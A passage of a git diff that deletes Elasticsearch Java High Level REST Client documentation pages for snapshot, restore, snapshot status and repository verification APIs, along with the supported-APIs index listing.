-<1> Timeout to connect to the master node as a `TimeValue`.
-<2> Timeout to connect to the master node as a `String`.
-
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-snapshots-request-verbose]
---------------------------------------------------
-<1> `Boolean` indicating if the response should be verbose.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-snapshots-request-ignore-unavailable]
---------------------------------------------------
-<1> `Boolean` indicating if unavailable snapshots should be ignored. Otherwise the request will
-fail if any of the snapshots are unavailable.
-
-[[java-rest-high-snapshot-get-snapshots-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-snapshots-execute]
---------------------------------------------------
-
-[[java-rest-high-snapshot-get-snapshots-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a get snapshots request requires both the
-`GetSnapshotsRequest` instance and an `ActionListener` instance to be
-passed as arguments to the asynchronous method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-snapshots-execute-async]
---------------------------------------------------
-<1> The `GetSnapshotsRequest` to execute and the `ActionListener` to use when
-the execution completes.
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back with the `onResponse` method
-if the execution is successful or the `onFailure` method if the execution
-failed.
-
-A typical listener for `GetSnapshotsResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-snapshots-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument.
-<2> Called in case of a failure. The raised exception is provided as an
-argument.
-
-[[java-rest-high-snapshot-get-snapshots-response]]
-==== Get Snapshots Response
-
-The returned `GetSnapshotsResponse` allows the retrieval of information about the requested
-snapshots:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[get-snapshots-response]
---------------------------------------------------
-<1> The REST status of a snapshot
-<2> The snapshot id
-<3> The current state of the snapshot
-<4> Information about failures that occurred during the shard snapshot process.
-<5> The snapshot start time
-<6> The snapshot end time
\ No newline at end of file
diff --git a/docs/java-rest/high-level/snapshot/restore_snapshot.asciidoc b/docs/java-rest/high-level/snapshot/restore_snapshot.asciidoc
deleted file mode 100644
index a4b83ca419a..00000000000
--- a/docs/java-rest/high-level/snapshot/restore_snapshot.asciidoc
+++ /dev/null
@@ -1,144 +0,0 @@
-[[java-rest-high-snapshot-restore-snapshot]]
-=== Restore Snapshot API
-
-The Restore Snapshot API allows to restore a snapshot.
-
-[[java-rest-high-snapshot-restore-snapshot-request]]
-==== Restore Snapshot Request
-
-A `RestoreSnapshotRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[restore-snapshot-request]
---------------------------------------------------
-
-==== Limiting Indices to Restore
-
-By default all indices are restored. With the `indices` property you can
-provide a list of indices that should be restored:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[restore-snapshot-request-indices]
---------------------------------------------------
-<1> Request that Elasticsearch only restores "test_index".
-
-==== Renaming Indices
-
-You can rename indices using regular expressions when restoring a snapshot:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[restore-snapshot-request-rename]
---------------------------------------------------
-<1> A regular expression matching the indices that should be renamed.
-<2> A replacement pattern that references the group from the regular
-    expression as `$1`. "test_index" from the snapshot is restored as
-    "restored_index" in this example.
-
-==== Index Settings and Options
-
-You can also customize index settings and options when restoring:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[restore-snapshot-request-index-settings]
---------------------------------------------------
-<1> Use `#indexSettings()` to set any specific index setting for the indices
-    that are restored.
-<2> Use `#ignoreIndexSettings()` to provide index settings that should be
-    ignored from the original indices.
-<3> Set `IndicesOptions.Option.IGNORE_UNAVAILABLE` in `#indicesOptions()` to
-    have the restore succeed even if indices are missing in the snapshot.
-
-==== Further Arguments
-
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[restore-snapshot-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[restore-snapshot-request-waitForCompletion]
---------------------------------------------------
-<1> Boolean indicating whether to wait until the snapshot has been restored.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[restore-snapshot-request-partial]
---------------------------------------------------
-<1> Boolean indicating whether the entire snapshot should succeed although one
-    or more indices participating in the snapshot don’t have all primary
-    shards available.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[restore-snapshot-request-include-global-state]
---------------------------------------------------
-<1> Boolean indicating whether restored templates that don’t currently exist
-    in the cluster are added and existing templates with the same name are
-    replaced by the restored templates. The restored persistent settings are
-    added to the existing persistent settings.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[restore-snapshot-request-include-aliases]
---------------------------------------------------
-<1> Boolean to control whether aliases should be restored. Set to `false` to
-    prevent aliases from being restored together with associated indices.
-
-[[java-rest-high-snapshot-restore-snapshot-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[restore-snapshot-execute]
---------------------------------------------------
-
-[[java-rest-high-snapshot-restore-snapshot-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a restore snapshot request requires both the
-`RestoreSnapshotRequest` instance and an `ActionListener` instance to be
-passed to the asynchronous method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[restore-snapshot-execute-async]
---------------------------------------------------
-<1> The `RestoreSnapshotRequest` to execute and the `ActionListener`
-to use when the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `RestoreSnapshotResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[restore-snapshot-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-    provided as an argument.
-<2> Called in case of a failure. The raised exception is provided as an argument.
-
-[[java-rest-high-cluster-restore-snapshot-response]]
-==== Restore Snapshot Response
-
-The returned `RestoreSnapshotResponse` allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[restore-snapshot-response]
---------------------------------------------------
-<1> The `RestoreInfo` contains details about the restored snapshot like the indices or
-    the number of successfully restored and failed shards.
diff --git a/docs/java-rest/high-level/snapshot/snapshots_status.asciidoc b/docs/java-rest/high-level/snapshot/snapshots_status.asciidoc
deleted file mode 100644
index 8f91d774f4e..00000000000
--- a/docs/java-rest/high-level/snapshot/snapshots_status.asciidoc
+++ /dev/null
@@ -1,97 +0,0 @@
-[[java-rest-high-snapshot-snapshots-status]]
-=== Snapshots Status API
-
-The Snapshots Status API allows to retrieve detailed information about snapshots in progress.
-
-[[java-rest-high-snapshot-snapshots-status-request]]
-==== Snapshots Status Request
-
-A `SnapshotsStatusRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[snapshots-status-request]
---------------------------------------------------
-
-==== Required Arguments
-The following arguments must be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[snapshots-status-request-repository]
---------------------------------------------------
-<1> Sets the repository to check for snapshot statuses
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[snapshots-status-request-snapshots]
---------------------------------------------------
-<1> The list of snapshot names to check the status of
-
-==== Optional Arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[snapshots-status-request-ignoreUnavailable]
---------------------------------------------------
-<1> The command will fail if some of the snapshots are unavailable. The `ignore_unavailable` flag
-set to true will return all snapshots that are currently available.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[snapshots-status-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-[[java-rest-high-snapshot-snapshots-status-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[snapshots-status-execute]
---------------------------------------------------
-
-[[java-rest-high-snapshot-snapshots-status-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of retrieving snapshot statuses requires both the
-`SnapshotsStatusRequest` instance and an `ActionListener` instance to be
-passed to the asynchronous method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[snapshots-status-execute-async]
---------------------------------------------------
-<1> The `SnapshotsStatusRequest` to execute and the `ActionListener`
-to use when the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `SnapshotsStatusResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[snapshots-status-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of a failure. The raised exception is provided as an argument
-
-[[java-rest-high-snapshot-snapshots-status-response]]
-==== Snapshots Status Response
-
-The returned `SnapshotsStatusResponse` allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[snapshots-status-response]
---------------------------------------------------
-<1> Request contains a list of snapshot statuses
-<2> Each status contains information about the snapshot
-<3> Example of reading snapshot statistics about a specific index and shard
diff --git a/docs/java-rest/high-level/snapshot/verify_repository.asciidoc b/docs/java-rest/high-level/snapshot/verify_repository.asciidoc
deleted file mode 100644
index 4f03d1e5fe3..00000000000
--- a/docs/java-rest/high-level/snapshot/verify_repository.asciidoc
+++ /dev/null
@@ -1,81 +0,0 @@
-[[java-rest-high-snapshot-verify-repository]]
-=== Snapshot Verify Repository API
-
-The Snapshot Verify Repository API allows to verify a registered repository.
-
-[[java-rest-high-snapshot-verify-repository-request]]
-==== Snapshot Verify Repository Request
-
-A `VerifyRepositoryRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[verify-repository-request]
---------------------------------------------------
-
-==== Optional Arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[create-repository-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the settings were applied
-as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the settings were applied
-as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[verify-repository-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-[[java-rest-high-snapshot-verify-repository-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[verify-repository-execute]
---------------------------------------------------
-
-[[java-rest-high-snapshot-verify-repository-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a snapshot verify repository requires both the
-`VerifyRepositoryRequest` instance and an `ActionListener` instance to be
-passed to the asynchronous method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[verify-repository-execute-async]
---------------------------------------------------
-<1> The `VerifyRepositoryRequest` to execute and the `ActionListener`
-to use when the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `VerifyRepositoryResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[verify-repository-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of a failure. The raised exception is provided as an argument
-
-[[java-rest-high-cluster-verify-repository-response]]
-==== Snapshot Verify Repository Response
-
-The returned `VerifyRepositoryResponse` allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SnapshotClientDocumentationIT.java[verify-repository-response]
---------------------------------------------------
\ No newline at end of file
diff --git a/docs/java-rest/high-level/supported-apis.asciidoc b/docs/java-rest/high-level/supported-apis.asciidoc
deleted file mode 100644
index 594198a51a5..00000000000
--- a/docs/java-rest/high-level/supported-apis.asciidoc
+++ /dev/null
@@ -1,723 +0,0 @@
-[[java-rest-high-supported-apis]]
-
-== Document APIs
-
-:upid: {mainid}-document
-:doc-tests-file: {doc-tests}/CRUDDocumentationIT.java
-
-The Java High Level REST Client supports the following Document APIs:
-
-[[single-doc]]
-Single document APIs::
-* <<{upid}-index>>
-* <<{upid}-get>>
-* <<{upid}-get-source>>
-* <<{upid}-exists>>
-* <<{upid}-delete>>
-* <<{upid}-update>>
-* <<{upid}-term-vectors>>
-
-[[multi-doc]]
-Multi-document APIs::
-* <<{upid}-bulk>>
-* <<{upid}-multi-get>>
-* <<{upid}-reindex>>
-* <<{upid}-update-by-query>>
-* <<{upid}-delete-by-query>>
-* <<{upid}-rethrottle>>
-* <<{upid}-multi-term-vectors>>
-
-include::document/index.asciidoc[]
-include::document/get.asciidoc[]
-include::document/get-source.asciidoc[]
-include::document/exists.asciidoc[]
-include::document/delete.asciidoc[]
-include::document/update.asciidoc[]
-include::document/term-vectors.asciidoc[]
-include::document/bulk.asciidoc[]
-include::document/multi-get.asciidoc[]
-include::document/reindex.asciidoc[]
-include::document/update-by-query.asciidoc[]
-include::document/delete-by-query.asciidoc[]
-include::document/rethrottle.asciidoc[]
-include::document/multi-term-vectors.asciidoc[]
-
-
-== Search APIs
-
-:upid: {mainid}
-:doc-tests-file: {doc-tests}/SearchDocumentationIT.java
-
-The Java High Level REST Client supports the following Search APIs:
-
-* <<{upid}-search>>
-* <<{upid}-search-scroll>>
-* <<{upid}-clear-scroll>>
-* <<{upid}-search-template>>
-* <<{upid}-multi-search-template>>
-* <<{upid}-multi-search>>
-* <<{upid}-field-caps>>
-* <<{upid}-rank-eval>>
-* <<{upid}-explain>>
-* <<{upid}-count>>
-
-include::search/search.asciidoc[]
-include::search/scroll.asciidoc[]
-include::search/multi-search.asciidoc[]
-include::search/search-template.asciidoc[]
-include::search/multi-search-template.asciidoc[]
-include::search/field-caps.asciidoc[]
-include::search/rank-eval.asciidoc[]
-include::search/explain.asciidoc[]
-include::search/count.asciidoc[]
-
-[role="xpack"]
-== Async Search APIs
-
-:upid: {mainid}-asyncsearch
-:doc-tests-file: {doc-tests}/AsyncSearchDocumentationIT.java
-
-The Java High Level REST Client supports the following Async Search APIs:
-
-* <<{upid}-asyncsearch-submit>>
-* <<{upid}-asyncsearch-get>>
-* <<{upid}-asyncsearch-delete>>
-
-include::asyncsearch/submit.asciidoc[]
-include::asyncsearch/get.asciidoc[]
-include::asyncsearch/delete.asciidoc[]
-
-== Miscellaneous APIs
-
-The Java High Level REST Client supports the following Miscellaneous APIs:
-
-* <<java-rest-high-main>>
-* <<java-rest-high-ping>>
-* <<java-rest-high-x-pack-info>>
-* <<java-rest-high-x-pack-usage>>
-
-include::miscellaneous/main.asciidoc[]
-include::miscellaneous/ping.asciidoc[]
-include::miscellaneous/x-pack-info.asciidoc[]
-include::miscellaneous/x-pack-usage.asciidoc[]
-
-== Index APIs
-
-:upid: {mainid}
-:doc-tests-file: {doc-tests}/IndicesClientDocumentationIT.java
-
-The Java High Level REST Client supports the following Index APIs:
-
-Index Management::
-* <<{upid}-analyze>>
-* <<{upid}-create-index>>
-* <<{upid}-delete-index>>
-* <<{upid}-indices-exists>>
-* <<{upid}-open-index>>
-* <<{upid}-close-index>>
-* <<{upid}-shrink-index>>
-* <<{upid}-split-index>>
-* <<{upid}-clone-index>>
-* <<{upid}-refresh>>
-* <<{upid}-flush>>
-* <<{upid}-flush-synced>>
-* <<{upid}-clear-cache>>
-* <<{upid}-force-merge>>
-* <<{upid}-rollover-index>>
-* <<{upid}-indices-put-settings>>
-* <<{upid}-get-settings>>
-* <<{upid}-indices-validate-query>>
-* <<{upid}-get-index>>
-
-Mapping Management::
-* <<{upid}-put-mapping>>
-* <<{upid}-get-mappings>>
-* <<{upid}-get-field-mappings>>
-
-Alias Management::
-* <<{upid}-update-aliases>>
-* <<{upid}-exists-alias>>
-* <<{upid}-get-alias>>
-* <<{upid}-delete-alias>>
-
-Template Management::
-* <<{upid}-get-templates>>
-* <<{upid}-templates-exist>>
-* <<{upid}-put-template>>
-
-include::indices/analyze.asciidoc[]
-include::indices/create_index.asciidoc[]
-include::indices/delete_index.asciidoc[]
-include::indices/indices_exists.asciidoc[]
-include::indices/open_index.asciidoc[]
-include::indices/close_index.asciidoc[]
-include::indices/shrink_index.asciidoc[]
-include::indices/split_index.asciidoc[]
-include::indices/clone_index.asciidoc[]
-include::indices/refresh.asciidoc[]
-include::indices/flush.asciidoc[]
-include::indices/flush_synced.asciidoc[]
-include::indices/clear_cache.asciidoc[]
-include::indices/force_merge.asciidoc[]
-include::indices/rollover.asciidoc[]
-include::indices/put_mapping.asciidoc[]
-include::indices/get_mappings.asciidoc[]
-include::indices/get_field_mappings.asciidoc[]
-include::indices/update_aliases.asciidoc[]
-include::indices/delete_alias.asciidoc[]
-include::indices/exists_alias.asciidoc[]
-include::indices/get_alias.asciidoc[]
-include::indices/put_settings.asciidoc[]
-include::indices/get_settings.asciidoc[]
-include::indices/put_template.asciidoc[]
-include::indices/validate_query.asciidoc[]
-include::indices/get_templates.asciidoc[]
-include::indices/templates_exist.asciidoc[]
-include::indices/get_index.asciidoc[]
-include::indices/freeze_index.asciidoc[]
-include::indices/unfreeze_index.asciidoc[]
-include::indices/delete_template.asciidoc[]
-include::indices/reload_analyzers.asciidoc[]
-include::indices/get_index_template.asciidoc[]
-include::indices/put_index_template.asciidoc[]
-include::indices/delete_index_template.asciidoc[]
-include::indices/simulate_index_template.asciidoc[]
-
-== Cluster APIs
-
-The Java High Level REST Client supports the following Cluster APIs:
-
-* <<java-rest-high-cluster-put-settings>>
-* <<java-rest-high-cluster-get-settings>>
-* <<java-rest-high-cluster-health>>
-* <<java-rest-high-cluster-remote-info>>
-
-:upid: {mainid}-cluster
-:doc-tests-file: {doc-tests}/ClusterClientDocumentationIT.java
-include::cluster/put_settings.asciidoc[]
-include::cluster/get_settings.asciidoc[]
-include::cluster/health.asciidoc[]
-include::cluster/remote_info.asciidoc[]
-include::cluster/get_component_template.asciidoc[]
-include::cluster/put_component_template.asciidoc[]
-include::cluster/delete_component_template.asciidoc[]
-
-== Ingest APIs
-The Java High Level REST Client supports the following Ingest APIs:
-
-* <<java-rest-high-ingest-put-pipeline>>
-* <<java-rest-high-ingest-get-pipeline>>
-* <<java-rest-high-ingest-delete-pipeline>>
-* <<java-rest-high-ingest-simulate-pipeline>>
-
-include::ingest/put_pipeline.asciidoc[]
-include::ingest/get_pipeline.asciidoc[]
-include::ingest/delete_pipeline.asciidoc[]
-include::ingest/simulate_pipeline.asciidoc[]
-
-== Snapshot APIs
-
-The Java High Level REST Client supports the following Snapshot APIs:
-
-* <<java-rest-high-snapshot-get-repository>>
-* <<java-rest-high-snapshot-create-repository>>
-* <<java-rest-high-snapshot-delete-repository>>
-* <<java-rest-high-snapshot-verify-repository>>
-* <<java-rest-high-snapshot-create-snapshot>>
-* <<java-rest-high-snapshot-get-snapshots>>
-* <<java-rest-high-snapshot-snapshots-status>>
-* <<java-rest-high-snapshot-delete-snapshot>>
-* <<java-rest-high-snapshot-restore-snapshot>>
-
-include::snapshot/get_repository.asciidoc[]
-include::snapshot/create_repository.asciidoc[]
-include::snapshot/delete_repository.asciidoc[]
-include::snapshot/verify_repository.asciidoc[]
-include::snapshot/create_snapshot.asciidoc[]
-include::snapshot/get_snapshots.asciidoc[]
-include::snapshot/snapshots_status.asciidoc[]
-include::snapshot/delete_snapshot.asciidoc[]
-include::snapshot/restore_snapshot.asciidoc[]
-
-== Tasks APIs
-
-The Java High Level REST Client supports the following Tasks APIs:
-
-* <<java-rest-high-tasks-list>>
-* <<java-rest-high-cluster-cancel-tasks>>
-
-include::tasks/list_tasks.asciidoc[]
-include::tasks/cancel_tasks.asciidoc[]
-
-== Script APIs
-
-The Java High Level REST Client supports the following Scripts APIs:
-
-* <<java-rest-high-get-stored-script>>
-* <<java-rest-high-put-stored-script>>
-* <<java-rest-high-delete-stored-script>>
-
-include::script/get_script.asciidoc[]
-include::script/put_script.asciidoc[]
-include::script/delete_script.asciidoc[]
-
-== Licensing APIs
-
-The Java High Level REST Client supports the following Licensing APIs:
-
-* <<java-rest-high-put-license>>
-* <<java-rest-high-get-license>>
-* <<java-rest-high-delete-license>>
-* <<java-rest-high-start-trial>>
-* <<java-rest-high-start-basic>>
-* <<java-rest-high-get-trial-status>>
-* <<java-rest-high-get-basic-status>>
-
-include::licensing/put-license.asciidoc[]
-include::licensing/get-license.asciidoc[]
-include::licensing/delete-license.asciidoc[]
-include::licensing/start-trial.asciidoc[]
-include::licensing/start-basic.asciidoc[]
-include::licensing/get-trial-status.asciidoc[]
-include::licensing/get-basic-status.asciidoc[]
-
-[role="xpack"]
-== Machine Learning APIs
-:upid: {mainid}-x-pack-ml
-:doc-tests-file: {doc-tests}/MlClientDocumentationIT.java
-
-The Java High Level REST Client supports the following {ml} APIs:
-
-* <<{upid}-close-job>>
-* <<{upid}-delete-job>>
-* <<{upid}-delete-calendar-job>>
-* <<{upid}-delete-calendar>>
-* <<{upid}-delete-calendar-event>>
-* <<{upid}-delete-data-frame-analytics>>
-* <<{upid}-delete-datafeed>>
-* <<{upid}-delete-expired-data>>
-* <<{upid}-delete-filter>>
-* <<{upid}-delete-forecast>>
-* <<{upid}-delete-model-snapshot>>
-* <<{upid}-delete-trained-models>>
-* <<{upid}-estimate-model-memory>>
-* <<{upid}-evaluate-data-frame>>
-* <<{upid}-explain-data-frame-analytics>>
-* <<{upid}-find-file-structure>>
-* <<{upid}-flush-job>>
-* <<{upid}-forecast-job>>
-* <<{upid}-get-job>>
-* <<{upid}-get-job-stats>>
-* <<{upid}-get-buckets>>
-* <<{upid}-get-calendars>>
-* <<{upid}-get-calendar-events>>
-* <<{upid}-get-categories>>
-* <<{upid}-get-data-frame-analytics>>
-* <<{upid}-get-data-frame-analytics-stats>>
-* <<{upid}-get-datafeed>>
-* <<{upid}-get-datafeed-stats>>
-* <<{upid}-get-filters>>
-* <<{upid}-get-influencers>>
-* <<{upid}-get-ml-info>>
-* <<{upid}-get-model-snapshots>>
-* <<{upid}-get-overall-buckets>>
-* <<{upid}-get-records>>
-* <<{upid}-get-trained-models>>
-* <<{upid}-get-trained-models-stats>>
-* <<{upid}-open-job>>
-* <<{upid}-post-calendar-event>>
-* <<{upid}-post-data>>
-* <<{upid}-preview-datafeed>>
-* <<{upid}-put-job>>
-* <<{upid}-put-calendar-job>>
-* <<{upid}-put-calendar>>
-* <<{upid}-put-data-frame-analytics>>
-* <<{upid}-put-datafeed>>
-* <<{upid}-put-filter>>
-* <<{upid}-put-trained-model>>
-* <<{upid}-revert-model-snapshot>>
-* <<{upid}-set-upgrade-mode>>
-* <<{upid}-start-data-frame-analytics>>
-* <<{upid}-start-datafeed>>
-* <<{upid}-stop-data-frame-analytics>>
-* <<{upid}-stop-datafeed>>
-* <<{upid}-update-job>>
-* <<{upid}-update-data-frame-analytics>>
-* <<{upid}-update-datafeed>>
-* <<{upid}-update-filter>>
-* <<{upid}-update-model-snapshot>>
-
-// CLOSE
-include::ml/close-job.asciidoc[]
-// DELETE
-include::ml/delete-job.asciidoc[]
-include::ml/delete-calendar-job.asciidoc[]
-include::ml/delete-calendar-event.asciidoc[]
-include::ml/delete-calendar.asciidoc[]
-include::ml/delete-data-frame-analytics.asciidoc[]
-include::ml/delete-datafeed.asciidoc[]
-include::ml/delete-expired-data.asciidoc[]
-include::ml/delete-filter.asciidoc[]
-include::ml/delete-forecast.asciidoc[]
-include::ml/delete-model-snapshot.asciidoc[]
-include::ml/delete-trained-models.asciidoc[]
-// ESTIMATE
-include::ml/estimate-model-memory.asciidoc[]
-// EVALUATE
-include::ml/evaluate-data-frame.asciidoc[]
-// EXPLAIN
-include::ml/explain-data-frame-analytics.asciidoc[]
-// FIND
-include::ml/find-file-structure.asciidoc[]
-// FLUSH
-include::ml/flush-job.asciidoc[]
-// FORECAST
-include::ml/forecast-job.asciidoc[]
-// GET
-include::ml/get-job.asciidoc[]
-include::ml/get-job-stats.asciidoc[]
-include::ml/get-buckets.asciidoc[]
-include::ml/get-calendar-events.asciidoc[]
-include::ml/get-calendars.asciidoc[]
-include::ml/get-categories.asciidoc[]
-include::ml/get-data-frame-analytics.asciidoc[]
-include::ml/get-data-frame-analytics-stats.asciidoc[]
-include::ml/get-datafeed.asciidoc[]
-include::ml/get-datafeed-stats.asciidoc[]
-include::ml/get-filters.asciidoc[]
-include::ml/get-influencers.asciidoc[]
-include::ml/get-info.asciidoc[]
-include::ml/get-model-snapshots.asciidoc[]
-include::ml/get-overall-buckets.asciidoc[]
-include::ml/get-records.asciidoc[]
-include::ml/get-trained-models.asciidoc[]
-include::ml/get-trained-models-stats.asciidoc[]
-// OPEN
-include::ml/open-job.asciidoc[]
-// POST
-include::ml/post-calendar-event.asciidoc[]
-include::ml/post-data.asciidoc[]
-// PREVIEW
-include::ml/preview-datafeed.asciidoc[]
-// PUT
-include::ml/put-job.asciidoc[]
-include::ml/put-calendar-job.asciidoc[]
-include::ml/put-calendar.asciidoc[]
-include::ml/put-data-frame-analytics.asciidoc[]
-include::ml/put-datafeed.asciidoc[]
-include::ml/put-filter.asciidoc[]
-include::ml/put-trained-model.asciidoc[]
-// REVERT
-include::ml/revert-model-snapshot.asciidoc[]
-// SET
-include::ml/set-upgrade-mode.asciidoc[]
-// START
-include::ml/start-data-frame-analytics.asciidoc[]
-include::ml/start-datafeed.asciidoc[]
-// STOP
-include::ml/stop-data-frame-analytics.asciidoc[]
-include::ml/stop-datafeed.asciidoc[]
-// UPDATE
-include::ml/update-job.asciidoc[]
-include::ml/update-data-frame-analytics.asciidoc[]
-include::ml/update-datafeed.asciidoc[]
-include::ml/update-filter.asciidoc[]
-include::ml/update-model-snapshot.asciidoc[]
-
-== Migration APIs
-
-:upid: {mainid}-migration
-:doc-tests-file: {doc-tests}/MigrationClientDocumentationIT.java
-
-The Java High Level REST Client supports the following Migration APIs:
-
-* <<{upid}-get-deprecation-info>>
-
-include::migration/get-deprecation-info.asciidoc[]
-
-[role="xpack"]
-== Rollup APIs
-
-:upid: {mainid}-rollup
-:doc-tests-file: {doc-tests}/RollupDocumentationIT.java
-
-The Java High Level REST Client supports the following Rollup APIs:
-
-* <<java-rest-high-x-pack-rollup-put-job>>
-* <<{upid}-rollup-start-job>>
-* <<{upid}-rollup-stop-job>>
-* <<{upid}-rollup-delete-job>>
-* <<java-rest-high-x-pack-rollup-get-job>>
-* <<{upid}-search>>
-* <<{upid}-x-pack-rollup-get-rollup-caps>>
-* <<{upid}-x-pack-rollup-get-rollup-index-caps>>
-
-include::rollup/put_job.asciidoc[]
-include::rollup/start_job.asciidoc[]
-include::rollup/stop_job.asciidoc[]
-include::rollup/delete_job.asciidoc[]
-include::rollup/get_job.asciidoc[]
-include::rollup/search.asciidoc[]
-include::rollup/get_rollup_caps.asciidoc[]
-include::rollup/get_rollup_index_caps.asciidoc[]
-
-[role="xpack"]
-== Security APIs
-
-:upid: {mainid}-security
-:doc-tests-file: {doc-tests}/SecurityDocumentationIT.java
-
-The Java High Level REST Client supports the following Security APIs:
-
-* <<java-rest-high-security-put-user>>
-* <<{upid}-get-users>>
-* <<{upid}-delete-user>>
-* <<java-rest-high-security-enable-user>>
-* <<java-rest-high-security-disable-user>>
-* <<java-rest-high-security-change-password>>
-* <<{upid}-put-role>>
-* <<{upid}-get-roles>>
-* <<java-rest-high-security-delete-role>>
